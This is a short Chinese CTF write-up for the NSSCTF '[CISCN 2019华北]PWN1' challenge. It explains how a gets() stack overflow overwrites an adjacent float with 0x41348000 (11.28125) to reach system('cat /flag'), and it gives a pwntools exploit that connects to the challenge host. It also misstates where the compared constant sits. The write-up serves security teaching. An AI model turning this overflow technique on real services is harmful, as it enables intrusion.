pwn 写入浮点数

字数: 215

题目

来自 nssctf:
[CISCN 2019华北]PWN1

题解

本道题的重点在于栈溢出写入浮点数。

1
2
3
4
5
6
7
8
_BYTE v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]

v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
  return system("cat /flag");

这里判断 v2 == 11.28125

看汇编可以发现:

1
2
3
4
movss   xmm0, [rbp+var_4]
ucomiss xmm0, cs:dword_4007F4
jnz     short loc_4006CF
mov     edi, offset command ; "cat /flag"

比较的浮点数在 loc_4006CF 内:

1
dword_4007F4    dd 41348000h            ; DATA XREF: func+31↑r

得到双字的 0x41348000
再进行栈溢出就可以拿到 flag 了。

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
from pwn import *

#io = process("./[CISCN 2019华北]PWN1")
io = connect("node4.anna.nssctf.cn", 26680)

"""
float = 11.28125

binary = 0x41348000
"""
payload = b'a' * (0x30 - 0x4) + p32(0x41348000)

io.sendline(payload)
io.interactive()